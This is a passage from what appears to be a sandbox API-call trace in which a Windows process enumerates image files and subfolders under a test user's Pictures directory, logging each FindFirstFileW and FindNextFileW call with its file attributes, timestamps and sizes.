nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Saved Pictures", cAlternateFileName="SAVEDP~1")) returned 1 [0220.411] FindNextFileW (in: hFindFile=0x1d1f4930, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3179d8a0, ftCreationTime.dwHighDateTime=0x1d999cb, ftLastAccessTime.dwLowDateTime=0xef5c2f00, ftLastAccessTime.dwHighDateTime=0x1d99abe, ftLastWriteTime.dwLowDateTime=0xef5c2f00, ftLastWriteTime.dwHighDateTime=0x1d99abe, nFileSizeHigh=0x0, nFileSizeLow=0x4d40, dwReserved0=0x0, dwReserved1=0x0, cFileName="tqC-9xoo3TCFdG.gif", cAlternateFileName="TQC-9X~1.GIF")) returned 1 [0220.412] FindNextFileW (in: hFindFile=0x1d1f4930, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a784390, ftCreationTime.dwHighDateTime=0x1d9937b, ftLastAccessTime.dwLowDateTime=0xa1b37ab0, ftLastAccessTime.dwHighDateTime=0x1d99604, ftLastWriteTime.dwLowDateTime=0xa1b37ab0, ftLastWriteTime.dwHighDateTime=0x1d99604, nFileSizeHigh=0x0, nFileSizeLow=0x4fba, dwReserved0=0x0, dwReserved1=0x0, cFileName="umk99ZOmwKBNQbD.jpg", cAlternateFileName="UMK99Z~1.JPG")) returned 1 [0220.412] FindNextFileW (in: hFindFile=0x1d1f4930, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0220.412] FindClose (in: hFindFile=0x1d1f4930 | out: hFindFile=0x1d1f4930) returned 1 [0220.412] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9eea0) returned 1 [0220.412] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ee60) returned 1 [0220.412] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0220.412] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Pictures", lpFilePart=0x0) returned 0x1e [0220.412] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\pictures\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf52702d7, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xf52702d7, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5170 [0220.413] FindNextFileW (in: hFindFile=0x1d1f5170, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf52702d7, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xf52702d7, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.413] FindNextFileW (in: hFindFile=0x1d1f5170, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20917180, ftCreationTime.dwHighDateTime=0x1d9941f, ftLastAccessTime.dwLowDateTime=0x2285ef10, ftLastAccessTime.dwHighDateTime=0x1d9948e, ftLastWriteTime.dwLowDateTime=0x2285ef10, ftLastWriteTime.dwHighDateTime=0x1d9948e, nFileSizeHigh=0x0, nFileSizeLow=0x7d6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="2DSCOvYgWNKFR.bmp", cAlternateFileName="2DSCOV~1.BMP")) returned 1 [0220.413] FindNextFileW (in: hFindFile=0x1d1f5170, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80985710, ftCreationTime.dwHighDateTime=0x1d98dfd, ftLastAccessTime.dwLowDateTime=0xa6e29f90, ftLastAccessTime.dwHighDateTime=0x1d9913e, ftLastWriteTime.dwLowDateTime=0xa6e29f90, ftLastWriteTime.dwHighDateTime=0x1d9913e, nFileSizeHigh=0x0, nFileSizeLow=0x18169, dwReserved0=0x0, dwReserved1=0x0, cFileName="bgIeYuR04xf.gif", cAlternateFileName="BGIEYU~1.GIF")) returned 1 [0220.413] FindNextFileW (in: hFindFile=0x1d1f5170, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2b0e752d, ftCreationTime.dwHighDateTime=0x1d70504, ftLastAccessTime.dwLowDateTime=0x2b10dbc5, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x2b10dbc5, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Camera Roll", cAlternateFileName="CAMERA~1")) returned 1 [0220.413] FindNextFileW (in: hFindFile=0x1d1f5170, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x435fd682, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x435fd682, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0220.413] FindNextFileW (in: hFindFile=0x1d1f5170, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3945690, ftCreationTime.dwHighDateTime=0x1d98d06, ftLastAccessTime.dwLowDateTime=0xef82a5c0, ftLastAccessTime.dwHighDateTime=0x1d98e68, ftLastWriteTime.dwLowDateTime=0xef82a5c0, ftLastWriteTime.dwHighDateTime=0x1d98e68, nFileSizeHigh=0x0, nFileSizeLow=0x102e, dwReserved0=0x0, dwReserved1=0x0, cFileName="egrPpUqv1wBVx.png", cAlternateFileName="EGRPPU~1.PNG")) returned 1 [0220.414] FindNextFileW (in: hFindFile=0x1d1f5170, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd94db0, ftCreationTime.dwHighDateTime=0x1d99bf8, ftLastAccessTime.dwLowDateTime=0x854b2df0, ftLastAccessTime.dwHighDateTime=0x1d99ce9, ftLastWriteTime.dwLowDateTime=0x854b2df0, ftLastWriteTime.dwHighDateTime=0x1d99ce9, nFileSizeHigh=0x0, nFileSizeLow=0xc8bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="F-s2NNP8mYxd.png", cAlternateFileName="F-S2NN~1.PNG")) returned 1 [0220.414] FindNextFileW (in: hFindFile=0x1d1f5170, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dd92de0, ftCreationTime.dwHighDateTime=0x1d994cb, ftLastAccessTime.dwLowDateTime=0x12d19ca0, ftLastAccessTime.dwHighDateTime=0x1d99c3f, ftLastWriteTime.dwLowDateTime=0x12d19ca0, ftLastWriteTime.dwHighDateTime=0x1d99c3f, nFileSizeHigh=0x0, nFileSizeLow=0x139ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="kG-ouG E3mm2.jpg", cAlternateFileName="KG-OUG~1.JPG")) returned 1 [0220.414] FindNextFileW (in: hFindFile=0x1d1f5170, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12cfa7e0, ftCreationTime.dwHighDateTime=0x1d9916a, ftLastAccessTime.dwLowDateTime=0xef0992f0, ftLastAccessTime.dwHighDateTime=0x1d9923e, ftLastWriteTime.dwLowDateTime=0xef0992f0, ftLastWriteTime.dwHighDateTime=0x1d9923e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="s0_hmVtAbRsuxuXW", cAlternateFileName="S0_HMV~1")) returned 1 [0220.414] FindNextFileW (in: hFindFile=0x1d1f5170, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2b1a6533, ftCreationTime.dwHighDateTime=0x1d70504, ftLastAccessTime.dwLowDateTime=0x2b1a6533, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x2b1a6533, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Saved Pictures", cAlternateFileName="SAVEDP~1")) returned 1 [0220.414] FindNextFileW (in: hFindFile=0x1d1f5170, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3179d8a0, ftCreationTime.dwHighDateTime=0x1d999cb, ftLastAccessTime.dwLowDateTime=0xef5c2f00, ftLastAccessTime.dwHighDateTime=0x1d99abe, ftLastWriteTime.dwLowDateTime=0xef5c2f00, ftLastWriteTime.dwHighDateTime=0x1d99abe, nFileSizeHigh=0x0, nFileSizeLow=0x4d40, dwReserved0=0x0, dwReserved1=0x0, cFileName="tqC-9xoo3TCFdG.gif", cAlternateFileName="TQC-9X~1.GIF")) returned 1 [0220.414] FindNextFileW (in: hFindFile=0x1d1f5170, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a784390, ftCreationTime.dwHighDateTime=0x1d9937b, ftLastAccessTime.dwLowDateTime=0xa1b37ab0, ftLastAccessTime.dwHighDateTime=0x1d99604, ftLastWriteTime.dwLowDateTime=0xa1b37ab0, ftLastWriteTime.dwHighDateTime=0x1d99604, nFileSizeHigh=0x0, nFileSizeLow=0x4fba, dwReserved0=0x0, dwReserved1=0x0, cFileName="umk99ZOmwKBNQbD.jpg", cAlternateFileName="UMK99Z~1.JPG")) returned 1 [0220.415] FindNextFileW (in: hFindFile=0x1d1f5170, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a784390, ftCreationTime.dwHighDateTime=0x1d9937b, ftLastAccessTime.dwLowDateTime=0xa1b37ab0, ftLastAccessTime.dwHighDateTime=0x1d99604, ftLastWriteTime.dwLowDateTime=0xa1b37ab0, ftLastWriteTime.dwHighDateTime=0x1d99604, nFileSizeHigh=0x0, nFileSizeLow=0x4fba, dwReserved0=0x0, dwReserved1=0x0, cFileName="umk99ZOmwKBNQbD.jpg", cAlternateFileName="UMK99Z~1.JPG")) returned 0 [0220.415] FindClose (in: hFindFile=0x1d1f5170 | out: hFindFile=0x1d1f5170) returned 1 [0220.415] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9eea0) returned 1 [0220.415] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ee60) returned 1 [0220.415] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0220.415] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\Camera Roll", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Pictures\\Camera Roll", lpFilePart=0x0) returned 0x2a [0220.415] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\Camera Roll\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\pictures\\camera roll\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2b0e752d, ftCreationTime.dwHighDateTime=0x1d70504, ftLastAccessTime.dwLowDateTime=0x2b10dbc5, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x2b10dbc5, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f3fd0 [0220.416] FindNextFileW (in: hFindFile=0x1d1f3fd0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2b0e752d, ftCreationTime.dwHighDateTime=0x1d70504, ftLastAccessTime.dwLowDateTime=0x2b10dbc5, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x2b10dbc5, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.416] FindNextFileW (in: hFindFile=0x1d1f3fd0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x2b10dbc5, ftCreationTime.dwHighDateTime=0x1d70504, ftLastAccessTime.dwLowDateTime=0x2b10dbc5, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x2b10dbc5, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0220.416] FindNextFileW (in: hFindFile=0x1d1f3fd0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0220.416] FindClose (in: hFindFile=0x1d1f3fd0 | out: hFindFile=0x1d1f3fd0) returned 1 [0220.416] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0220.416] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0220.416] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0220.416] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\Camera Roll", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Pictures\\Camera Roll", lpFilePart=0x0) returned 0x2a [0220.417] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\Camera Roll\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\pictures\\camera roll\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2b0e752d, ftCreationTime.dwHighDateTime=0x1d70504, ftLastAccessTime.dwLowDateTime=0x2b10dbc5, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x2b10dbc5, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4750 [0220.417] FindNextFileW (in: hFindFile=0x1d1f4750, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2b0e752d, ftCreationTime.dwHighDateTime=0x1d70504, ftLastAccessTime.dwLowDateTime=0x2b10dbc5, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x2b10dbc5, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.417] FindNextFileW (in: hFindFile=0x1d1f4750, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x2b10dbc5, ftCreationTime.dwHighDateTime=0x1d70504, ftLastAccessTime.dwLowDateTime=0x2b10dbc5, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x2b10dbc5, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0220.417] FindNextFileW (in: hFindFile=0x1d1f4750, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x2b10dbc5, ftCreationTime.dwHighDateTime=0x1d70504, ftLastAccessTime.dwLowDateTime=0x2b10dbc5, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x2b10dbc5, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0220.417] FindClose (in: hFindFile=0x1d1f4750 | out: hFindFile=0x1d1f4750) returned 1 [0220.417] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0220.417] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0220.417] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0220.418] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\s0_hmVtAbRsuxuXW", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Pictures\\s0_hmVtAbRsuxuXW", lpFilePart=0x0) returned 0x2f [0220.418] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\s0_hmVtAbRsuxuXW\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\pictures\\s0_hmvtabrsuxuxw\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12cfa7e0, ftCreationTime.dwHighDateTime=0x1d9916a, ftLastAccessTime.dwLowDateTime=0xef0992f0, ftLastAccessTime.dwHighDateTime=0x1d9923e, ftLastWriteTime.dwLowDateTime=0xef0992f0, ftLastWriteTime.dwHighDateTime=0x1d9923e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4e70 [0220.418] FindNextFileW (in: hFindFile=0x1d1f4e70, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12cfa7e0, ftCreationTime.dwHighDateTime=0x1d9916a, ftLastAccessTime.dwLowDateTime=0xef0992f0, ftLastAccessTime.dwHighDateTime=0x1d9923e, ftLastWriteTime.dwLowDateTime=0xef0992f0, ftLastWriteTime.dwHighDateTime=0x1d9923e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.418] FindNextFileW (in: hFindFile=0x1d1f4e70, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25024c40, ftCreationTime.dwHighDateTime=0x1d98ce4, ftLastAccessTime.dwLowDateTime=0xb0852430, ftLastAccessTime.dwHighDateTime=0x1d997e9, ftLastWriteTime.dwLowDateTime=0xb0852430, ftLastWriteTime.dwHighDateTime=0x1d997e9, nFileSizeHigh=0x0, nFileSizeLow=0x606c, dwReserved0=0x0, dwReserved1=0x0, cFileName="-5zcMo7BjMfVLQL31QCg.gif", cAlternateFileName="-5ZCMO~1.GIF")) returned 1 [0220.418] FindNextFileW (in: hFindFile=0x1d1f4e70, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda6ae3c0, ftCreationTime.dwHighDateTime=0x1d99afa, ftLastAccessTime.dwLowDateTime=0x20971880, ftLastAccessTime.dwHighDateTime=0x1d99cbf, ftLastWriteTime.dwLowDateTime=0x20971880, ftLastWriteTime.dwHighDateTime=0x1d99cbf, nFileSizeHigh=0x0, nFileSizeLow=0xaa6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="2Ei1dWF5BZz37hswjcR-.jpg", cAlternateFileName="2EI1DW~1.JPG")) returned 1 [0220.419] FindNextFileW (in: hFindFile=0x1d1f4e70, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1707290, ftCreationTime.dwHighDateTime=0x1d990b8, ftLastAccessTime.dwLowDateTime=0x4e1084a0, ftLastAccessTime.dwHighDateTime=0x1d99c37, ftLastWriteTime.dwLowDateTime=0x4e1084a0, ftLastWriteTime.dwHighDateTime=0x1d99c37, nFileSizeHigh=0x0, nFileSizeLow=0xfa14, dwReserved0=0x0, dwReserved1=0x0, cFileName="5BXVxs 4evz9FsM.jpg", cAlternateFileName="5BXVXS~1.JPG")) returned 1 [0220.419] FindNextFileW (in: hFindFile=0x1d1f4e70, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4174c9f0, ftCreationTime.dwHighDateTime=0x1d99a7e, ftLastAccessTime.dwLowDateTime=0xaaad9520, ftLastAccessTime.dwHighDateTime=0x1d99c11, ftLastWriteTime.dwLowDateTime=0xaaad9520, ftLastWriteTime.dwHighDateTime=0x1d99c11, nFileSizeHigh=0x0, nFileSizeLow=0xb2da, dwReserved0=0x0, dwReserved1=0x0, cFileName="5d9zs3LLn1OqtS.png", cAlternateFileName="5D9ZS3~1.PNG")) returned 1 [0220.419] FindNextFileW (in: hFindFile=0x1d1f4e70, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b5c3d50, ftCreationTime.dwHighDateTime=0x1d999a2, ftLastAccessTime.dwLowDateTime=0x2db43cf0, ftLastAccessTime.dwHighDateTime=0x1d99c6f, ftLastWriteTime.dwLowDateTime=0x2db43cf0, ftLastWriteTime.dwHighDateTime=0x1d99c6f, nFileSizeHigh=0x0, nFileSizeLow=0xf3a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="66jY26.png", cAlternateFileName="")) returned 1 [0220.419] FindNextFileW (in: hFindFile=0x1d1f4e70, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd830c40, ftCreationTime.dwHighDateTime=0x1d98ce2, ftLastAccessTime.dwLowDateTime=0x4d4a7760, ftLastAccessTime.dwHighDateTime=0x1d99b38, ftLastWriteTime.dwLowDateTime=0x4d4a7760, ftLastWriteTime.dwHighDateTime=0x1d99b38, nFileSizeHigh=0x0, nFileSizeLow=0xa777, dwReserved0=0x0, dwReserved1=0x0, cFileName="6csqtjx39_jVJrUFD.png", cAlternateFileName="6CSQTJ~1.PNG")) returned 1 [0220.419] FindNextFileW (in: hFindFile=0x1d1f4e70, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9996dd70, ftCreationTime.dwHighDateTime=0x1d98dd2, ftLastAccessTime.dwLowDateTime=0x1f4937a0, ftLastAccessTime.dwHighDateTime=0x1d9923e, ftLastWriteTime.dwLowDateTime=0x1f4937a0, ftLastWriteTime.dwHighDateTime=0x1d9923e, nFileSizeHigh=0x0, nFileSizeLow=0x6271, dwReserved0=0x0, dwReserved1=0x0, cFileName="6ekU57L_.bmp", cAlternateFileName="")) returned 1 [0220.419] FindNextFileW (in: hFindFile=0x1d1f4e70, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2129e6e0, ftCreationTime.dwHighDateTime=0x1d99230, ftLastAccessTime.dwLowDateTime=0xfd1f60b0, ftLastAccessTime.dwHighDateTime=0x1d9948a, ftLastWriteTime.dwLowDateTime=0xfd1f60b0, ftLastWriteTime.dwHighDateTime=0x1d9948a, nFileSizeHigh=0x0, nFileSizeLow=0x17958, dwReserved0=0x0, dwReserved1=0x0, cFileName="ajRKhCM.jpg", cAlternateFileName="")) returned 1 [0220.419] FindNextFileW (in: hFindFile=0x1d1f4e70, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x411cdcb0, ftCreationTime.dwHighDateTime=0x1d98cda, ftLastAccessTime.dwLowDateTime=0x90166de0, ftLastAccessTime.dwHighDateTime=0x1d9913a, ftLastWriteTime.dwLowDateTime=0x90166de0, ftLastWriteTime.dwHighDateTime=0x1d9913a, nFileSizeHigh=0x0, nFileSizeLow=0x10245, dwReserved0=0x0, dwReserved1=0x0, cFileName="am8k.png", cAlternateFileName="")) returned 1 [0220.420] FindNextFileW (in: hFindFile=0x1d1f4e70, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7388a420, ftCreationTime.dwHighDateTime=0x1d997e5, ftLastAccessTime.dwLowDateTime=0x36182760, ftLastAccessTime.dwHighDateTime=0x1d99cd5, ftLastWriteTime.dwLowDateTime=0x36182760, ftLastWriteTime.dwHighDateTime=0x1d99cd5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="evauM", cAlternateFileName="")) returned 1 [0220.420] FindNextFileW (in: hFindFile=0x1d1f4e70, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3510760, ftCreationTime.dwHighDateTime=0x1d99c06, ftLastAccessTime.dwLowDateTime=0xe4311b30, ftLastAccessTime.dwHighDateTime=0x1d99cfe, ftLastWriteTime.dwLowDateTime=0xe4311b30, ftLastWriteTime.dwHighDateTime=0x1d99cfe, nFileSizeHigh=0x0, nFileSizeLow=0xc881, dwReserved0=0x0, dwReserved1=0x0, cFileName="iRxguQJCcZHpjXzv_.gif", cAlternateFileName="IRXGUQ~1.GIF")) returned 1 [0220.420] FindNextFileW (in: hFindFile=0x1d1f4e70, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x831260f0, ftCreationTime.dwHighDateTime=0x1d992a1, ftLastAccessTime.dwLowDateTime=0xd6ce08a0, ftLastAccessTime.dwHighDateTime=0x1d99a23, ftLastWriteTime.dwLowDateTime=0xd6ce08a0, ftLastWriteTime.dwHighDateTime=0x1d99a23, nFileSizeHigh=0x0, nFileSizeLow=0x11fde, dwReserved0=0x0, dwReserved1=0x0, cFileName="mqGABo.gif", cAlternateFileName="")) returned 1 [0220.420] FindNextFileW (in: hFindFile=0x1d1f4e70, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7e49610, ftCreationTime.dwHighDateTime=0x1d994d6, ftLastAccessTime.dwLowDateTime=0x26e3f8e0, ftLastAccessTime.dwHighDateTime=0x1d995c9, ftLastWriteTime.dwLowDateTime=0x26e3f8e0, ftLastWriteTime.dwHighDateTime=0x1d995c9, nFileSizeHigh=0x0, nFileSizeLow=0xb99b, dwReserved0=0x0, dwReserved1=0x0, cFileName="n8TJowKUuKQ.gif", cAlternateFileName="N8TJOW~1.GIF")) returned 1 [0220.420] FindNextFileW (in: hFindFile=0x1d1f4e70, lpFindFileData=0x1db9e480 | out: 